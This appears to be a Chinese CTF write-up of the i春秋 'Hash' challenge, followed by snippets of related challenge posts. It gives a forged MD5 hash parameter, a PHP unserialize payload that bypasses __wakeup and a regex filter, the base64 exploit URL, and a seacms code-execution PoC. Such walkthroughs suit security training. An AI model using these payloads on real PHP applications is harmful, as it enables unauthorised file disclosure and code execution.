[i春秋]“百度杯”CTF比赛 十月场-Hash

前言

111

前言

涉及知识点:反序列化、

题目来自:i春秋 hash  如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用

或者利用本文章提供的源码自主复现

前言

点击hahaha进入下一个页面

进入之后我们发现这有一段英文说如果不是123 我们就可以获得flag

我们分析URL key部分有个123 我们替换成122试试 试了之后不行我们看到hash的值一看就是md5密文直接拿去解密看看有什么发现

http://地址/index.php?key=123&hash=f9109d5f83921a551cf859f853afe7bb

md5解密那个hash=kkkkkk01123  根据直觉把后三位替换成和我们key一致的 替换后hash=kkkkkk01122 然后cmd5把hash的值加密 重新组合url提交

//修改key hash的
payload:
http://地址/index.php?key=122&hash=e1ebb04a0a78afe23e2d542e72a25005

获得新的页面访问去。

访问获得这个页面的源码

 1  <?php
 2 class Demo {
 3     private $file = ‘Gu3ss_m3_h2h2.php‘;
 4
 5     public function __construct($file) {
 6         $this->file = $file;
 7     }
 8
 9     function __destruct() {
10         echo @highlight_file($this->file, true);
11     }
12
13     function __wakeup() {
14         if ($this->file != ‘Gu3ss_m3_h2h2.php‘) {
15             //the secret is in the f15g_1s_here.php
16             $this->file = ‘Gu3ss_m3_h2h2.php‘;
17         }
18     }
19 }
20
21 if (isset($_GET[‘var‘])) {
22     $var = base64_decode($_GET[‘var‘]);
23     if (preg_match(‘/[oc]:\d+:/i‘, $var)) {
24         die(‘stop hacking!‘);
25     } else {
26
27         @unserialize($var);
28     }
29 } else {
30     highlight_file("Gu3ss_m3_h2h2.php");
31 }
32 ?> 

通过分析又发现了新的页面下一步我们就是要通过这个存在序列化漏洞的页面构造语法来获取the f15g_1s_here.php的源码。

1.绕过_wakeup()这个函数 因为我们在反序列化时会判断这个函数是否存在如果存在就执行替换成下面的页面 所以我们要阻止它运行

绕过_wakeup参考:https://www.cnblogs.com/xhds/p/12243760.html

2.绕过过滤 首先这里是get接受之后进行base64的解码 有解码那我们构造后就要编码 ,然后正则表达式判断符不符合它们的条件 如果不符合则就能正常的执行unserialize()函数进行反序列化了

构造的序列化代码

$obj=new Demo(‘f15g_1s_here.php‘);
$s=serialize($obj);
$s=str_replace("4","+4",$s);
$s=str_replace(":1:",":8:",$s);
echo base64_encode($s);

序列化的payload:

http://URL/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

访问得到 f15g_1s_here.php 页面的源码

 <?php
if (isset($_GET[‘val‘])) {
    $val = $_GET[‘val‘];
    eval(‘$value="‘ . addslashes($val) . ‘";‘);
} else {
    die(‘hahaha!‘);
}

?> 

前言

原文地址:https://www.cnblogs.com/xhds/p/12254412.html

时间: 2024-10-08 15:09:19

[i春秋]“百度杯”CTF比赛 十月场-Hash的相关文章

i春秋 百度杯”CTF比赛 十月场 login

出现敏感的信息,然后进行登录 登录成功发现奇怪的show 然后把show放到发包里面试一下 出现了源码,审计代码开始 出flag的条件要user 等于春秋 然后进行login来源于反序列化后的login 下面进行序列化 然后参数为token,可以通过post,get,cookie的方式,但是看到都是用的cookie,我就用post和get 原文地址:https://www.cnblogs.com/haozhizhi/p/10161113.html

i春秋——“百度杯”CTF比赛 十月场——Login

根据页面源码提示的 test1 test1 登录 刷新此页面并抓包,有个show=0值得关注 在发送的包的header中加一句show:1,即可得到member.php的源码 1 <?php 2 include 'common.php'; 3 $requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE); 4 class db 5 { 6 public $where; 7 function __wakeup() 8 { 9 if(!empt

i春秋——“百度杯”CTF比赛 十月场——Vld(Vulcan Logic Dumper 、php opcode、sql 报错注入)

打开题目看到提示 "do you know Vulcan Logic Dumper?" ,再查看源码看到"<!-- index.php.txt ?>",访问后发现一堆看不懂的东西 这肯定就是所谓的Vulcan Logic Dumper了,先了解下相关概念 PHP内核-Zend引擎:http://www.php.cn/php-weizijiaocheng-355597.html PHP中的opcode:https://blog.csdn.net/weiyu

i春秋——“百度杯”CTF比赛 十月场——GetFlag(md5碰撞、文件包含、网站绝对路径)

需要提交的captcha满足等式,肯定就是MD5碰撞了 附上脚本 1 import hashlib 2 3 4 def func(md5_val): 5 for x in range(1,100000000): 6 md5_value=hashlib.md5(str(x)).hexdigest() 7 if md5_value[:6]==md5_val: 8 return str(x) 9 10 11 print func(raw_input('md5_val:')) 12 13 14 raw_

i春秋 “百度杯”CTF比赛 十月场 web题 Backdoor

0x00: 打开题目,题目中告诉我们这题是文件泄露. 0x01: 通过扫描目录,发现可以扫到的有3个文件 index.php flag.php robots.txt 但是浏览flag.php它告诉我们这不是真正的flag 又联系到题目文件泄露,于是测试.swp .swo .bak等备份文件后缀均无果.最后发现是.git泄露. 我们浏览这个url http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Ch

“百度杯”CTF比赛 十月场_Login

题目在i春秋ctf大本营 打开页面是两个登录框,首先判断是不是注入 尝试了各种语句后,发现登录界面似乎并不存在注入 查看网页源代码,给出了一个账号 用帐密登陆后,跳转到到member.php网页,网页本身并没有什么提示内容 接着抓包查看,这里找了好久,最后在返回包的头文件中发现了一个可以参数 尝试在请求头中加入show参数: 返回一段源代码,开始审计之路: <?php include 'common.php'; $requset = array_merge($_GET, $_POST, $_SE

“百度杯”CTF比赛 十月场_GetFlag(验证码爆破+注入+绝对路径文件下载)

题目在i春秋ctf大本营 页面给出了验证码经过md5加密后前6位的值,依照之前做题的套路,首先肯定是要爆破出验证码,这里直接给我写的爆破代码 #coding:utf-8 import hashlib strs = '35eb09' def md5(s): return hashlib.md5(str(s).encode('utf-8')).hexdigest() def main(): for i in range(100000,100000000): a = md5(i) if a[0:6]

i春秋——“百度杯”CTF比赛 九月场——123(Apache解析pht,phtml,php3等 php别名)

网页源码提示用户信息在user.php中,直接访问是不会有显示的,于是查找相应的备份文件,vim交换文件等,最后发现/user.php.bak 用burp采用如下配置开始爆破 最后爆破出两个账号 登录之后查看源码,发现一个被注释的表单,看似应该存在文件上传漏洞,在页面按F12,更改网页,去掉注释 本来想上传一句话的,但是发现就算上传普通图片文件和图片文件名也会提示文件名非法,猜想这里并不是真的文件上传,并不是用菜刀连上找flag.只是构造文件名,并且上传到服务器成为可执行文件便可通过.所以文件内

i春秋——“百度杯”CTF比赛 九月场——Test(海洋cms / seacms 任意代码执行漏洞)

打开发现是海洋cms,那就搜索相关漏洞 找到一篇介绍海洋cms的命令执行漏洞的文章:https://www.jianshu.com/p/ebf156afda49 直接利用其中给出的poc /search.php searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan